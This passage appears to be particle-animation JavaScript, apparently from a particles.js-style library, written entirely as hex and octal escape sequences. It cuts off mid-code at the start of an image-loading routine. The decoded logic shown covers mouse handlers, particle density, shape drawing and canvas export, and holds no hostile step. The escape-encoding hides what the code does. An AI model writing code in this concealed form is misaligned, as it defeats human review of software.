70\x6f\x73\137\x78\40\x3d\40\156\x75\x6c\x6c\73\12\40\x20\x20\x20\x20\40\40\x20\40\40\x20\x20\40\40\40\x20\x70\112\123\x2e\151\x6e\x74\145\162\x61\143\x74\151\166\x69\164\x79\x2e\155\157\x75\163\x65\56\x70\157\163\137\x79\40\75\x20\x6e\x75\154\x6c\73\xa\x20\x20\40\40\40\x20\x20\40\40\x20\40\40\x20\40\40\40\x70\112\123\56\151\156\164\x65\x72\x61\x63\164\x69\166\x69\x74\x79\56\x73\164\x61\164\x75\163\x20\75\x20\47\155\x6f\x75\x73\145\x6c\x65\x61\166\145\x27\12\x20\x20\40\x20\40\x20\x20\x20\40\40\x20\40\175\x29\12\40\x20\x20\40\x20\x20\x20\x20\175\12\x20\40\40\40\x20\40\x20\40\x69\x66\40\x28\160\112\x53\56\x69\x6e\x74\x65\x72\141\x63\x74\151\x76\x69\x74\x79\56\145\166\x65\156\x74\x73\56\157\156\x63\x6c\151\x63\153\56\145\156\141\x62\154\x65\x29\40\x7b\12\40\40\40\x20\40\40\x20\40\40\x20\x20\40\160\112\x53\x2e\151\x6e\x74\145\x72\x61\x63\164\x69\166\x69\164\171\x2e\145\154\56\x61\x64\x64\105\166\x65\x6e\x74\x4c\151\x73\164\145\x6e\145\162\x28\47\x63\154\151\x63\153\x27\54\40\146\x75\x6e\143\x74\x69\x6f\156\x28\51\x20\173\12\40\x20\40\x20\x20\x20\x20\40\40\x20\40\40\40\40\x20\x20\x70\112\x53\x2e\x69\156\164\145\162\x61\143\x74\151\166\151\x74\x79\56\155\x6f\165\163\x65\56\x63\154\151\143\153\137\x70\157\163\137\x78\40\75\x20\x70\112\123\x2e\x69\x6e\x74\145\x72\141\143\x74\151\x76\x69\164\x79\x2e\x6d\x6f\x75\x73\x65\56\x70\157\x73\x5f\x78\73\12\x20\x20\x20\x20\x20\40\x20\40\40\40\40\x20\x20\x20\40\40\160\112\x53\56\151\x6e\164\x65\162\x61\143\164\x69\x76\151\x74\171\56\x6d\157\165\x73\145\x2e\143\x6c\x69\143\153\x5f\160\x6f\163\x5f\x79\40\75\40\x70\x4a\123\x2e\151\156\x74\x65\162\x61\143\164\151\x76\x69\x74\171\56\x6d\157\165\163\145\x2e\x70\x6f\x73\x5f\x79\x3b\xa\40\x20\40\x20\40\x20\40\x20\x20\40\40\40\40\40\x20\x20\x70\x4a\123\56\x69\156\x74\x65\162\x61\x63\164\151\166\151\x74\x79\56\155\157\x75\x73\145\56\143\154\x69\143\153\x5f\x74\x69\x6d\145\40\75\x20\156\x65\167\x20\x44\141\164\x65\50\x29\56\147\145\x74\x54\x69\155\145\x28\51\73\xa\x20\x20\40\40\40\40\40\x20\40\x20\40\x20\x20\40\40\40\151\146\x20\x28\x70\112\123\x2e\151\156\x74\x65\x72\141\x63\x74\151\166\x69\x74\x79\x2e\145\x76\x65\156\x74\x73\x2e\157\x6e\x63\154\151\x63\153\56\x65\x6e\141\x62\x6c\x65\51\40\x7b\xa\x20\x20\40\x20\x20\40\x20\x20\x20\40\40\x20\40\x20\x20\40\x20\40\x20\x20\x73\x77\151\x74\x63\x68\40\x28\160\112\x53\x2e\x69\156\x74\145\x72\x61\143\x74\x69\166\x69\x74\171\56\145\x76\145\156\164\163\x2e\x6f\156\143\154\x69\x63\153\x2e\155\x6f\144\x65\x29\40\x7b\12\40\40\x20\x20\40\x20\40\40\40\40\40\40\x20\40\40\x20\40\x20\40\x20\x20\x20\40\40\143\141\x73\145\40\47\x70\x75\x73\x68\47\72\12\x20\40\x20\40\40\40\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\40\x20\x20\40\40\151\x66\x20\x28\x70\x4a\123\x2e\160\x61\162\164\x69\x63\x6c\x65\163\56\155\157\x76\x65\x2e\x65\x6e\141\142\154\145\51\x20\173\xa\x20\x20\x20\x20\x20\40\40\40\40\40\x20\x20\x20\40\40\x20\x20\40\40\x20\40\40\x20\x20\40\x20\x20\40\40\x20\40\x20\x70\112\123\x2e\x66\156\x2e\x6d\x6f\144\145\163\x2e\160\x75\163\x68\x50\141\x72\164\x69\143\x6c\x65\163\50\x70\112\x53\56\x69\156\x74\x65\162\x61\x63\x74\151\x76\151\x74\171\56\x6d\x6f\144\145\x73\x2e\160\165\x73\150\56\160\141\162\164\x69\x63\x6c\x65\163\x5f\x6e\x62\54\x20\x70\112\x53\x2e\151\x6e\x74\x65\162\x61\x63\164\151\166\151\x74\171\56\155\x6f\x75\x73\145\51\xa\40\40\x20\40\40\40\x20\40\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\40\40\x20\40\40\40\x20\x7d\x20\145\154\x73\145\40\173\xa\x20\40\x20\40\40\40\40\x20\x20\x20\40\40\40\x20\40\40\40\40\40\40\x20\x20\40\x20\40\x20\40\x20\40\x20\40\x20\151\x66\40\50\160\112\123\56\151\x6e\x74\145\162\141\x63\x74\151\x76\x69\x74\171\56\155\x6f\x64\x65\163\56\160\165\x73\x68\x2e\160\x61\x72\x74\x69\143\x6c\x65\163\x5f\156\x62\x20\75\x3d\40\61\51\x20\173\xa\40\40\x20\x20\40\40\x20\x20\x20\40\40\x20\x20\40\40\40\x20\x20\40\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\40\40\x20\40\40\x70\x4a\x53\56\x66\x6e\56\x6d\x6f\144\x65\x73\x2e\x70\165\x73\x68\x50\x61\162\164\x69\x63\154\145\x73\x28\160\112\x53\56\x69\156\164\145\x72\141\x63\x74\151\166\151\164\171\56\x6d\157\x64\x65\163\x2e\x70\165\163\150\x2e\x70\x61\162\x74\151\143\x6c\x65\163\x5f\x6e\142\54\x20\160\112\x53\56\151\156\164\x65\x72\x61\x63\164\x69\x76\x69\x74\x79\x2e\155\157\165\x73\145\x29\xa\x20\x20\x20\x20\40\40\x20\40\x20\x20\40\x20\40\x20\x20\x20\40\40\x20\40\x20\x20\40\40\x20\40\x20\40\x20\40\40\40\x7d\40\145\x6c\x73\x65\x20\151\x66\40\x28\160\112\123\x2e\151\156\x74\x65\x72\x61\143\x74\151\x76\151\164\x79\56\155\x6f\144\x65\163\56\160\165\x73\x68\x2e\160\141\x72\164\151\143\x6c\145\163\137\156\x62\x20\76\40\61\x29\x20\173\12\x20\40\40\40\x20\x20\x20\x20\x20\40\x20\40\40\40\40\40\40\40\40\40\x20\40\40\x20\x20\40\40\40\40\x20\40\40\x20\40\x20\40\160\x4a\x53\x2e\x66\x6e\x2e\155\x6f\x64\145\163\x2e\160\165\x73\150\x50\141\162\x74\151\143\154\145\x73\x28\x70\x4a\x53\x2e\x69\156\x74\x65\162\x61\143\x74\x69\x76\151\x74\171\56\x6d\157\144\x65\163\x2e\x70\x75\x73\150\56\160\141\x72\164\x69\x63\154\145\x73\x5f\x6e\x62\x29\12\40\40\x20\40\x20\x20\40\x20\40\x20\40\x20\40\40\40\40\40\x20\40\40\40\40\40\x20\40\x20\x20\40\40\40\40\40\x7d\12\40\40\x20\x20\x20\x20\40\x20\40\40\x20\x20\x20\40\40\x20\40\x20\40\40\40\x20\40\40\x20\x20\x20\x20\x7d\12\x20\x20\x20\40\x20\x20\x20\40\x20\x20\40\40\x20\x20\40\40\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\142\162\145\141\x6b\73\12\40\40\40\x20\40\40\x20\x20\x20\x20\40\40\40\40\40\40\x20\x20\x20\40\40\40\x20\40\x63\141\x73\145\40\47\x72\145\155\157\166\x65\47\x3a\xa\40\40\x20\x20\x20\x20\x20\x20\40\40\x20\40\x20\40\40\x20\40\40\x20\40\40\40\x20\x20\40\x20\x20\x20\x70\x4a\123\x2e\x66\156\x2e\155\x6f\144\x65\x73\56\162\x65\155\157\166\x65\120\141\162\164\x69\143\154\x65\163\50\x70\112\x53\56\x69\156\x74\x65\x72\x61\x63\x74\x69\166\x69\164\x79\56\x6d\157\x64\x65\163\x2e\x72\x65\155\157\x76\x65\56\160\141\162\164\x69\143\154\145\x73\137\156\x62\51\73\12\x20\40\x20\x20\40\40\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\x20\x20\40\x20\40\x20\40\x20\40\40\40\142\x72\145\141\153\73\12\40\x20\40\40\x20\40\40\x20\x20\40\40\x20\40\x20\x20\40\40\40\40\x20\x20\x20\x20\40\143\x61\x73\x65\x20\47\x62\165\x62\x62\154\x65\47\x3a\12\x20\40\x20\x20\x20\40\x20\40\40\40\x20\40\x20\40\40\40\x20\x20\40\x20\x20\x20\x20\40\x20\x20\40\x20\160\112\123\x2e\x74\155\x70\56\x62\165\142\x62\x6c\x65\x5f\143\x6c\x69\x63\153\x69\x6e\x67\40\75\x20\41\x30\73\xa\40\40\x20\x20\x20\40\x20\x20\40\x20\x20\x20\40\x20\x20\40\40\x20\x20\40\40\40\40\x20\40\40\x20\40\x62\162\x65\141\153\73\12\40\x20\x20\x20\x20\x20\x20\40\40\x20\x20\40\40\40\40\x20\40\x20\x20\40\x20\40\x20\x20\x63\x61\163\x65\x20\x27\162\x65\x70\x75\154\163\145\47\72\xa\x20\40\40\x20\40\x20\x20\40\40\40\40\40\40\40\40\40\40\x20\40\40\40\40\40\40\40\x20\40\40\x70\112\123\x2e\x74\155\160\56\162\x65\x70\x75\x6c\x73\x65\137\143\154\151\143\x6b\151\x6e\147\x20\x3d\x20\41\x30\x3b\12\40\x20\40\40\x20\40\x20\x20\x20\40\40\x20\x20\40\x20\x20\40\x20\40\40\40\x20\x20\x20\x20\40\40\x20\160\112\x53\x2e\x74\155\160\x2e\x72\x65\160\x75\154\x73\x65\137\x63\157\x75\x6e\x74\40\75\40\60\x3b\xa\40\x20\40\x20\x20\x20\40\x20\40\40\40\x20\40\x20\40\x20\40\40\40\40\x20\x20\x20\40\40\40\x20\40\160\112\x53\56\x74\155\160\56\x72\x65\x70\x75\154\x73\145\x5f\146\x69\x6e\x69\163\150\x20\x3d\x20\x21\61\73\xa\x20\x20\x20\x20\x20\40\40\x20\x20\40\x20\40\x20\40\40\40\x20\40\40\x20\x20\x20\40\40\40\40\x20\40\163\145\164\x54\151\155\x65\157\x75\x74\x28\x66\x75\x6e\x63\164\151\157\x6e\x28\51\x20\173\xa\40\x20\40\40\40\x20\40\40\40\40\40\x20\x20\x20\x20\x20\x20\40\40\x20\40\x20\40\x20\x20\x20\40\40\40\x20\40\x20\160\112\123\x2e\x74\x6d\160\56\162\145\x70\165\x6c\x73\145\137\143\154\x69\x63\x6b\x69\156\147\40\x3d\40\x21\x31\xa\40\40\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x20\x20\x20\x20\40\40\40\40\x20\40\x20\x7d\54\40\x70\x4a\x53\x2e\x69\156\164\145\x72\x61\143\x74\151\166\x69\164\x79\x2e\155\157\144\x65\163\56\x72\x65\160\x75\154\x73\x65\x2e\x64\165\x72\x61\164\x69\x6f\156\x20\52\x20\x31\60\60\x30\x29\xa\40\x20\40\40\40\x20\x20\x20\40\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\40\40\40\x20\x20\40\40\x20\40\x62\x72\145\x61\x6b\12\x20\40\x20\40\x20\x20\40\40\x20\x20\x20\x20\x20\40\40\x20\x20\40\x20\x20\175\12\40\40\x20\x20\x20\x20\40\40\x20\x20\40\40\x20\40\x20\40\x7d\xa\40\x20\40\x20\40\40\40\x20\x20\40\x20\x20\175\x29\xa\x20\40\x20\40\x20\x20\40\x20\175\xa\x20\x20\40\40\x7d\x3b\xa\40\40\x20\x20\x70\x4a\x53\56\146\x6e\56\166\145\x6e\x64\x6f\x72\163\56\144\145\156\x73\x69\x74\x79\101\165\164\157\x50\141\x72\x74\x69\x63\154\145\163\x20\x3d\40\146\x75\156\x63\x74\151\157\x6e\50\x29\40\173\xa\40\x20\40\40\40\x20\x20\x20\151\146\x20\50\160\x4a\x53\x2e\x70\x61\x72\x74\151\143\x6c\145\163\x2e\156\x75\155\x62\145\x72\x2e\x64\145\x6e\x73\x69\164\x79\56\145\156\141\142\x6c\x65\x29\40\173\xa\40\40\40\40\x20\x20\x20\x20\x20\40\40\x20\x76\141\x72\x20\141\x72\x65\x61\40\75\40\160\112\123\x2e\143\x61\156\166\141\x73\56\x65\154\x2e\167\151\x64\x74\x68\40\52\x20\160\112\123\56\x63\141\156\x76\x61\163\56\145\x6c\x2e\150\145\151\147\150\x74\x20\x2f\x20\x31\x30\x30\60\73\12\40\40\40\x20\x20\x20\40\40\x20\x20\40\x20\x69\146\x20\x28\x70\112\x53\x2e\x74\x6d\x70\x2e\162\x65\164\x69\156\141\x29\40\173\12\40\x20\x20\40\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\40\40\x61\x72\x65\141\x20\x3d\x20\x61\162\145\141\40\x2f\x20\50\160\112\123\56\143\141\156\x76\x61\x73\56\x70\x78\x72\x61\x74\x69\157\x20\52\x20\x32\51\12\40\40\40\40\x20\x20\40\x20\40\40\x20\40\175\12\40\40\x20\x20\40\40\x20\x20\40\x20\40\x20\166\141\162\40\x6e\x62\x5f\160\x61\162\164\151\x63\154\x65\x73\x20\x3d\40\141\x72\145\141\40\x2a\x20\160\x4a\123\x2e\x70\x61\162\x74\151\143\x6c\145\163\56\x6e\165\x6d\142\145\x72\56\166\141\x6c\165\145\x20\x2f\40\160\112\x53\56\x70\x61\x72\x74\x69\x63\154\x65\163\x2e\x6e\x75\x6d\x62\145\162\x2e\144\145\156\163\x69\x74\x79\x2e\x76\x61\x6c\x75\x65\137\141\162\145\x61\73\12\40\x20\x20\x20\40\x20\40\x20\x20\40\40\40\166\141\x72\40\155\151\163\163\x69\x6e\147\x5f\x70\141\x72\164\151\143\x6c\x65\163\40\75\x20\160\112\123\x2e\160\x61\x72\164\x69\143\x6c\145\x73\x2e\141\162\162\x61\171\x2e\x6c\145\x6e\x67\x74\x68\x20\x2d\x20\x6e\142\x5f\x70\x61\162\164\151\143\x6c\145\x73\x3b\xa\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x69\146\40\50\155\151\x73\163\151\x6e\x67\x5f\160\141\x72\164\151\x63\154\145\163\40\x3c\x20\x30\51\x20\x70\x4a\123\56\x66\156\x2e\155\x6f\x64\145\163\56\160\x75\x73\x68\x50\x61\162\164\x69\x63\x6c\145\163\x28\115\141\164\150\x2e\141\x62\163\x28\x6d\151\163\x73\151\156\147\x5f\x70\x61\162\x74\x69\143\154\x65\163\x29\x29\73\12\40\40\40\x20\40\40\40\40\40\x20\x20\40\145\154\x73\x65\x20\x70\x4a\123\x2e\x66\156\56\155\x6f\144\145\x73\56\x72\x65\155\x6f\166\x65\x50\x61\x72\164\x69\143\154\145\x73\50\x6d\151\163\163\151\156\x67\137\x70\x61\162\164\151\143\154\145\x73\x29\xa\40\x20\x20\40\x20\40\40\x20\x7d\12\40\40\x20\x20\175\73\xa\40\40\40\x20\160\x4a\x53\x2e\x66\x6e\x2e\166\x65\156\144\x6f\x72\163\x2e\143\150\145\x63\x6b\x4f\166\x65\162\154\x61\160\x20\75\x20\x66\x75\156\x63\164\151\157\x6e\x28\x70\61\54\40\x70\157\163\151\x74\x69\157\156\x29\40\x7b\12\40\40\40\40\x20\40\40\x20\146\157\162\40\x28\x76\x61\162\40\151\40\x3d\40\x30\x3b\x20\151\x20\74\x20\x70\112\123\56\x70\x61\x72\x74\151\x63\154\145\163\56\141\x72\162\141\171\56\x6c\145\156\147\164\150\x3b\40\x69\x2b\x2b\x29\40\x7b\12\x20\40\x20\40\x20\40\x20\x20\x20\40\40\40\x76\141\162\40\x70\62\x20\x3d\40\160\112\x53\x2e\x70\x61\162\164\151\x63\x6c\x65\x73\x2e\141\162\162\x61\171\133\151\x5d\73\12\40\x20\x20\40\40\40\x20\x20\40\x20\40\40\x76\x61\x72\40\x64\x78\40\x3d\x20\160\61\x2e\x78\40\x2d\x20\160\x32\56\x78\54\xa\x20\40\x20\40\40\40\x20\x20\x20\40\40\x20\40\x20\40\40\x64\x79\x20\75\x20\x70\61\56\171\40\x2d\40\160\62\x2e\x79\x2c\12\40\40\x20\40\40\x20\x20\40\x20\40\x20\40\40\40\40\x20\144\151\163\x74\x20\x3d\40\x4d\x61\164\150\x2e\163\x71\162\164\x28\x64\x78\40\52\40\144\170\40\53\x20\144\171\40\x2a\40\x64\171\x29\73\xa\40\x20\x20\40\40\x20\x20\x20\x20\40\40\40\x69\146\x20\50\144\151\163\164\x20\74\75\40\160\x31\x2e\x72\x61\144\x69\165\163\x20\x2b\40\160\x32\x2e\162\141\x64\x69\165\x73\x29\40\x7b\12\40\x20\x20\x20\x20\40\40\40\x20\40\40\x20\40\40\x20\40\160\x31\x2e\x78\x20\75\40\160\x6f\x73\x69\164\151\x6f\156\x20\77\40\160\x6f\163\151\x74\151\x6f\x6e\x2e\170\x20\72\x20\115\141\164\x68\x2e\162\141\156\144\157\155\x28\x29\x20\52\x20\x70\112\123\56\143\141\156\166\x61\x73\56\x77\73\12\x20\x20\40\x20\x20\40\40\x20\40\x20\40\x20\x20\x20\x20\40\160\x31\x2e\171\x20\75\40\x70\157\163\x69\x74\x69\157\x6e\40\77\x20\160\157\x73\151\164\151\157\x6e\x2e\x79\40\x3a\x20\115\141\164\150\x2e\162\x61\156\x64\x6f\x6d\x28\51\x20\52\40\x70\x4a\123\56\143\141\x6e\x76\141\x73\x2e\x68\x3b\xa\x20\x20\x20\x20\40\40\x20\x20\40\x20\40\x20\40\40\40\40\160\x4a\123\x2e\146\x6e\x2e\x76\x65\156\x64\x6f\162\x73\56\x63\150\145\143\x6b\x4f\166\x65\162\154\x61\160\50\160\x31\51\12\x20\40\40\40\x20\x20\40\x20\x20\40\40\40\175\xa\x20\x20\40\40\40\40\40\40\x7d\12\x20\x20\40\x20\x7d\x3b\xa\x20\40\x20\x20\x70\x4a\x53\x2e\146\156\56\166\145\x6e\x64\x6f\x72\163\x2e\143\162\x65\141\x74\x65\x53\x76\147\x49\x6d\147\40\x3d\x20\146\x75\x6e\x63\x74\151\x6f\156\x28\x70\51\x20\x7b\12\x20\40\40\40\x20\40\x20\40\x76\x61\x72\x20\163\x76\147\130\x6d\154\x20\75\x20\x70\112\123\56\x74\155\160\x2e\163\x6f\165\x72\x63\x65\x5f\x73\x76\147\54\12\x20\40\x20\x20\40\x20\40\x20\40\40\40\x20\x72\x67\142\110\145\170\40\75\x20\57\x23\x28\x5b\x30\x2d\x39\101\x2d\106\135\173\63\x2c\x36\175\x29\57\x67\151\x2c\12\x20\x20\40\40\40\40\x20\x20\40\40\40\40\x63\157\x6c\x6f\x72\145\144\123\166\147\130\x6d\154\x20\75\40\163\x76\x67\x58\x6d\x6c\56\x72\x65\x70\x6c\x61\x63\145\x28\x72\147\142\110\x65\170\x2c\x20\146\x75\156\x63\164\151\157\x6e\x28\155\x2c\x20\x72\x2c\x20\147\x2c\40\142\x29\x20\x7b\xa\40\40\40\40\x20\40\40\x20\x20\x20\40\x20\40\x20\x20\x20\x69\146\40\50\160\56\x63\157\154\x6f\x72\56\162\x67\x62\x29\x20\173\12\x20\x20\x20\x20\x20\40\x20\x20\40\40\40\40\x20\40\x20\x20\x20\x20\40\40\x76\141\x72\x20\143\157\x6c\157\162\137\x76\141\x6c\165\145\40\75\40\47\x72\x67\x62\141\50\47\40\x2b\40\160\x2e\143\x6f\154\x6f\162\x2e\162\x67\x62\56\162\40\x2b\40\x27\54\x27\x20\53\x20\160\x2e\x63\x6f\154\x6f\x72\x2e\162\147\x62\x2e\147\40\x2b\40\47\x2c\47\40\x2b\40\160\56\x63\157\x6c\x6f\162\56\x72\x67\x62\56\142\x20\53\40\x27\54\47\x20\53\40\160\x2e\157\x70\141\x63\x69\164\x79\40\53\x20\x27\51\x27\xa\40\x20\40\40\x20\x20\x20\40\x20\40\40\x20\40\40\x20\x20\x7d\40\x65\154\163\x65\x20\x7b\xa\x20\40\40\x20\40\40\40\40\40\x20\x20\x20\x20\x20\x20\40\40\40\x20\40\166\141\x72\x20\x63\x6f\154\x6f\x72\137\166\141\x6c\x75\x65\x20\x3d\40\x27\x68\x73\x6c\141\x28\47\x20\53\40\160\56\143\157\154\157\x72\x2e\x68\163\x6c\56\x68\x20\x2b\40\47\x2c\47\x20\x2b\x20\160\x2e\143\157\154\x6f\x72\x2e\150\x73\x6c\x2e\163\40\x2b\x20\x27\45\x2c\x27\x20\x2b\40\160\x2e\143\x6f\x6c\x6f\162\x2e\150\163\154\x2e\x6c\x20\x2b\40\x27\x25\54\47\40\53\x20\x70\x2e\157\x70\141\x63\151\164\x79\40\53\40\47\x29\47\12\x20\40\x20\x20\40\40\40\x20\x20\40\x20\40\x20\x20\40\x20\x7d\xa\40\x20\40\40\40\x20\40\40\x20\40\40\x20\40\40\40\40\x72\x65\164\x75\x72\156\x20\143\x6f\154\157\162\137\x76\141\x6c\x75\145\12\x20\40\40\40\x20\40\40\40\x20\40\40\x20\x7d\x29\73\12\40\40\40\40\40\x20\40\x20\166\141\x72\40\x73\166\x67\x20\x3d\x20\156\x65\x77\x20\102\x6c\157\142\x28\133\x63\x6f\x6c\157\162\x65\x64\x53\166\147\130\155\154\x5d\54\40\173\12\40\x20\40\x20\40\40\40\x20\x20\40\x20\40\x20\40\40\x20\164\x79\x70\x65\x3a\40\x27\151\x6d\x61\x67\145\57\163\x76\x67\53\170\x6d\154\73\x63\150\141\162\x73\x65\x74\x3d\x75\x74\x66\55\x38\x27\12\x20\x20\40\40\x20\40\40\40\x20\40\x20\x20\x7d\x29\54\12\x20\x20\x20\40\40\40\x20\x20\40\40\x20\x20\104\117\x4d\125\x52\114\x20\x3d\x20\167\x69\x6e\144\157\x77\x2e\125\122\114\x20\x7c\174\x20\167\151\156\x64\157\x77\56\x77\145\142\x6b\151\x74\x55\x52\114\40\x7c\x7c\x20\167\x69\x6e\x64\x6f\167\54\xa\40\40\x20\40\40\40\x20\x20\40\x20\40\x20\165\162\x6c\40\75\x20\x44\117\115\125\122\x4c\56\143\162\x65\141\164\x65\x4f\142\x6a\x65\x63\164\x55\122\114\50\163\x76\147\51\73\xa\40\x20\x20\40\x20\40\40\x20\166\141\x72\40\151\x6d\x67\40\x3d\x20\x6e\145\x77\40\111\x6d\141\147\145\50\x29\x3b\xa\x20\x20\40\40\40\40\x20\40\x69\x6d\x67\x2e\x61\x64\x64\105\x76\x65\156\x74\114\x69\x73\x74\x65\x6e\145\x72\x28\47\154\157\x61\144\47\54\x20\x66\x75\x6e\143\x74\x69\x6f\x6e\50\x29\40\173\xa\40\x20\x20\40\x20\x20\40\x20\x20\x20\x20\x20\x70\x2e\x69\x6d\147\56\157\x62\x6a\40\75\x20\x69\x6d\147\73\12\x20\x20\40\40\x20\x20\40\x20\40\40\40\x20\x70\56\x69\155\147\56\x6c\157\x61\x64\x65\144\40\75\x20\x21\x30\x3b\12\40\x20\x20\40\40\40\40\40\x20\40\x20\x20\104\117\x4d\125\122\114\56\x72\145\x76\x6f\153\145\117\142\x6a\145\x63\164\125\122\x4c\x28\165\x72\x6c\x29\x3b\12\x20\x20\x20\40\40\x20\x20\40\x20\40\40\x20\160\x4a\x53\56\164\155\x70\x2e\x63\157\165\x6e\x74\x5f\x73\x76\147\x2b\x2b\12\40\40\x20\40\x20\x20\40\x20\x7d\x29\x3b\xa\x20\x20\x20\40\x20\40\40\40\x69\155\x67\56\163\162\143\40\75\40\165\162\x6c\12\40\40\x20\40\x7d\73\xa\x20\x20\x20\x20\x70\112\123\56\x66\156\x2e\x76\x65\156\144\157\162\163\x2e\x64\x65\x73\164\x72\157\x79\160\x4a\x53\40\x3d\40\x66\x75\x6e\x63\x74\x69\x6f\x6e\x28\x29\x20\x7b\xa\x20\x20\40\40\x20\x20\x20\40\143\141\156\143\145\154\x41\x6e\x69\155\141\164\151\x6f\x6e\x46\x72\x61\x6d\145\x28\160\x4a\x53\x2e\146\x6e\x2e\x64\x72\141\167\101\156\151\155\x46\x72\141\155\145\x29\73\12\x20\x20\40\40\40\x20\x20\40\143\141\x6e\x76\x61\x73\x5f\145\154\x2e\162\x65\x6d\x6f\166\145\x28\51\x3b\xa\x20\x20\x20\40\x20\x20\x20\x20\x70\112\x53\104\x6f\x6d\x20\75\x20\x6e\x75\154\x6c\xa\40\40\40\40\x7d\73\xa\x20\40\x20\40\x70\112\123\56\x66\x6e\56\166\x65\x6e\144\x6f\x72\x73\56\144\x72\x61\167\123\x68\x61\160\x65\40\x3d\x20\x66\165\x6e\143\x74\x69\157\x6e\50\143\54\40\x73\164\141\x72\164\130\x2c\40\x73\164\141\162\164\x59\x2c\40\163\x69\x64\x65\x4c\145\x6e\x67\164\150\54\40\x73\x69\144\145\103\157\165\156\x74\x4e\165\x6d\x65\162\141\164\157\x72\x2c\x20\163\151\144\145\103\157\165\x6e\164\104\145\x6e\x6f\155\151\x6e\x61\164\157\x72\x29\x20\x7b\12\x20\x20\x20\x20\x20\x20\x20\40\x76\141\x72\40\x73\151\x64\x65\x43\157\165\x6e\164\40\75\40\x73\x69\x64\145\x43\x6f\x75\x6e\164\116\165\x6d\145\x72\x61\164\157\x72\x20\52\40\x73\x69\x64\x65\103\x6f\165\156\x74\104\x65\156\x6f\155\x69\156\x61\x74\157\x72\x3b\xa\x20\x20\x20\x20\x20\x20\40\x20\x76\141\x72\40\144\145\143\151\155\x61\x6c\123\x69\144\x65\x73\40\75\40\x73\x69\x64\145\x43\x6f\165\x6e\164\116\165\155\145\x72\x61\x74\157\x72\40\x2f\40\x73\x69\x64\x65\x43\x6f\x75\x6e\x74\104\x65\x6e\157\155\x69\x6e\x61\164\x6f\x72\73\12\x20\40\x20\40\x20\40\x20\x20\166\141\x72\x20\x69\x6e\x74\x65\x72\151\157\162\x41\x6e\x67\x6c\145\104\145\147\162\x65\145\163\x20\75\x20\x28\x31\x38\x30\40\x2a\x20\50\144\x65\x63\x69\155\x61\x6c\x53\x69\x64\145\163\x20\55\40\62\51\51\40\x2f\x20\x64\145\143\151\x6d\x61\154\123\x69\x64\145\163\73\xa\40\40\x20\40\x20\x20\x20\40\166\x61\x72\x20\x69\156\164\145\162\x69\x6f\x72\x41\156\147\x6c\x65\40\75\40\115\141\164\x68\56\x50\x49\x20\55\40\115\141\164\150\x2e\120\111\x20\52\40\151\x6e\x74\x65\162\x69\x6f\x72\x41\x6e\x67\x6c\145\104\x65\147\x72\145\145\x73\40\x2f\x20\x31\x38\x30\x3b\xa\x20\x20\40\40\x20\40\40\40\x63\x2e\x73\141\166\145\50\51\x3b\xa\40\x20\40\x20\x20\40\x20\x20\x63\56\x62\x65\x67\151\156\x50\141\164\150\50\x29\73\xa\40\40\x20\40\x20\x20\x20\x20\143\56\164\x72\141\156\163\x6c\141\164\x65\x28\163\x74\x61\x72\x74\130\x2c\x20\x73\164\x61\x72\x74\x59\51\x3b\12\x20\40\40\x20\40\40\40\40\143\56\x6d\x6f\166\145\x54\157\50\60\54\40\x30\51\x3b\xa\x20\x20\40\40\40\x20\x20\40\x66\157\162\40\x28\166\x61\x72\x20\151\x20\x3d\x20\x30\x3b\x20\x69\40\74\x20\x73\x69\144\145\x43\157\x75\x6e\x74\73\40\x69\53\x2b\51\40\173\12\x20\x20\x20\40\40\x20\40\x20\x20\40\x20\40\x63\56\154\151\156\x65\x54\157\x28\163\x69\144\145\x4c\145\x6e\147\x74\150\54\40\x30\x29\73\12\x20\x20\x20\x20\x20\x20\x20\40\x20\40\x20\x20\x63\56\x74\x72\x61\156\163\154\141\x74\x65\x28\x73\x69\x64\x65\114\145\156\x67\164\150\54\40\x30\51\73\12\40\40\40\40\40\x20\x20\40\40\40\x20\x20\143\x2e\162\157\x74\x61\x74\x65\50\x69\156\x74\145\x72\151\x6f\162\101\156\x67\x6c\x65\51\xa\x20\40\40\40\x20\x20\40\x20\175\12\x20\40\x20\40\x20\40\40\x20\x63\56\x66\151\x6c\154\50\x29\x3b\12\40\x20\40\40\x20\40\40\40\143\x2e\x72\145\x73\164\157\x72\145\x28\51\12\x20\x20\40\40\x7d\73\xa\40\40\x20\40\x70\x4a\123\x2e\146\156\56\166\145\x6e\144\157\162\x73\x2e\x65\x78\160\x6f\x72\x74\x49\x6d\147\40\x3d\40\x66\x75\156\x63\164\151\x6f\156\50\x29\x20\x7b\xa\40\x20\40\40\x20\40\x20\40\x77\x69\156\144\157\167\x2e\157\x70\x65\x6e\x28\x70\112\x53\56\143\x61\156\x76\x61\x73\56\145\154\x2e\x74\x6f\x44\x61\x74\141\x55\x52\114\50\47\x69\x6d\141\147\145\57\160\x6e\x67\47\x29\54\x20\x27\137\x62\154\x61\x6e\153\47\x29\xa\40\40\40\x20\175\x3b\12\40\40\40\x20\160\x4a\123\x2e\x66\156\56\166\x65\156\x64\157\162\163\x2e\x6c\157\141\144\x49\x6d\x67\x20\x3d\x20\x66\x75\156\x63\164\x69\x6f\156\50\164\x79\x70\145\51\40\173\xa\40\x20\40\40\40\x20\40\40\160\112\123\56\x74\x6d\x70\x2e\x69\x6d\147\x5f\x65\162\162\157\162\x20\75\40\165\156\144\x65\x66\x69\156\x65\144\x3b\xa\40\40\x20\x20\x20\40\40\40\x69\x66\40\x28\160\112\x53\56\160\x61\x72\164\x69\x63\154\145\x73\x2e\163\x68\141\x70\x65\x2e\151\x6d\141\x67\x65\56\163\162\x63\x20\x21\x3d\40\x27\x27\x29\x20\x7b\12\40\x20\x20\40\x20\x20\x20\40\40\40\40\x20\151\x66\x20\x28\x74\171\x70\x65\40\x3d\75\40\x27\163\x76\x67\x27\x29\x20\x7b\xa\x20\40\x20\x20\40\x20\40\40\x20\x20\x20\40\40\40\40\40\x76\x61\x72\x20\170\x68\162\x20\75\40\x6e\145\167\40\x58\x4d\114\110\x74\x74\160\122\x65\x71\165\x65\163\x74\x28\51\73\xa\40\x20\x20\40\40